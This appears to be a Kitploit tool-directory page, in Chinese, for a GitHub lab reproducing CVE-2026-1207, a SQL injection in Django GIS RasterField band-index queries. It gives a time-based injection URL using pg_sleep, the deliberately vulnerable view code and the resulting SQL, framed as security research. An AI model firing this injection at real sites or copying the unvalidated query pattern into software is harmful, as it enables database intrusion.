Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/sw0rd1ight/cve-2026-1207
漏洞分析漏洞利用Web应用程序漏洞利用论文与研究学习与教育
GitHubsw0rd1ight/cve-2026-1207

CVE-2026-1207

Django 框架在使用 PostGIS 查询地理栅格(raster)数据时,若将未经验证的用户输入直接作为 band index(波段索引)参数,会引发 SQL 注入

查看仓库
34个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-1207 Django GIS RasterField SQL 注入漏洞复现

漏洞概述

漏洞类型: SQL 注入 (SQL Injection) 影响组件: django.contrib.gis RasterField

当使用 Django GIS 的 RasterField 进行查询时,band 参数被直接拼接到 SQL 语句中,导致 SQL 注入漏洞。攻击者可通过构造恶意的 band 参数值,注入任意 SQL 代码。

项目结构

root@kitploit:~
CVE-2026-1207/
├── .devcontainer/     # VSCode DevContainer 配置
├── .vscode/           # VSCode 配置
├── vuln/             # 漏洞演示应用
│   ├── models.py     # 包含 RasterField 的模型
│   ├── views.py      # 漏洞触发点
│   └── migrations/   # 数据库迁移文件
├── web/              # Django 项目配置
├── manage.py
├── README.md

环境启动

该漏洞项目使用 VSCode 的 devcontainer 进行构建。

1️⃣ 打开项目

用 VS Code 打开已经存在的项目根目录(包含 .devcontainer 文件夹)。

2️⃣ 重新打开容器(构建 Dev Container)

按 Ctrl+Shift+P(Windows/Linux)或 Cmd+Shift+P(Mac)

输入 Remote-Containers: Reopen in Container

VS Code 会读取 .devcontainer 配置并构建容器(首次构建可能需要几分钟)

⚠️ 如果 Dockerfile 或依赖更新过,可以选择 Remote-Containers: Rebuild Container,确保使用最新环境。

3️⃣ 运行 Django 开发服务器

打开命令面板 Ctrl+Shift+P

输入 Tasks: Run Task

选择 django:start(任务已在 .vscode/tasks.json 配置)

这个任务会在容器内启动 Django 开发服务器

默认监听 0.0.0.0:8087

4️⃣ 打开浏览器访问项目

打开浏览器访问:

root@kitploit:~
http://localhost:8087

5️⃣ 注意事项

第一次运行可能需要执行数据库迁移:

root@kitploit:~
python manage.py migrate

漏洞复现

漏洞分析详情发表在 先知https://xz.aliyun.com/news/91993

微信公众号https://mp.weixin.qq.com/s/p7EZRKZBp-mRGhYqyc8i3A

POC: 延时注入

访问以下 URL 触发 SQL 注入:

root@kitploit:~
http://localhost:8087/book/search?band=1);select%20%271%27||pg_sleep(3)%20--

观察响应时间,正常请求应立即返回,注入请求会延迟约 3 秒。

漏洞代码位置

vuln/views.py:36

root@kitploit:~
def get(self, request: HttpRequest):
    band = request.GET.get("band", 1)  # ← 未经过滤的用户输入
    rast = GDALRaster(...)
    qs = RasterModel.objects.filter(rast__contains=(rast, band))  # ← band 直接传入查询
    print(qs.query)  # ← 查看生成的 SQL
    qs.count()
    return HttpResponse("book app")

生成的 SQL(注入后)

root@kitploit:~
SELECT ... FROM vuln_rastermodel
WHERE ST_Contains("vuln_rastermodel"."rast", ST_ContainsParam(..., 1);select '1'||pg_sleep(3) --))

免责声明

本项目仅供安全研究和教育目的使用。请勿在未经授权的系统上使用。

下载工具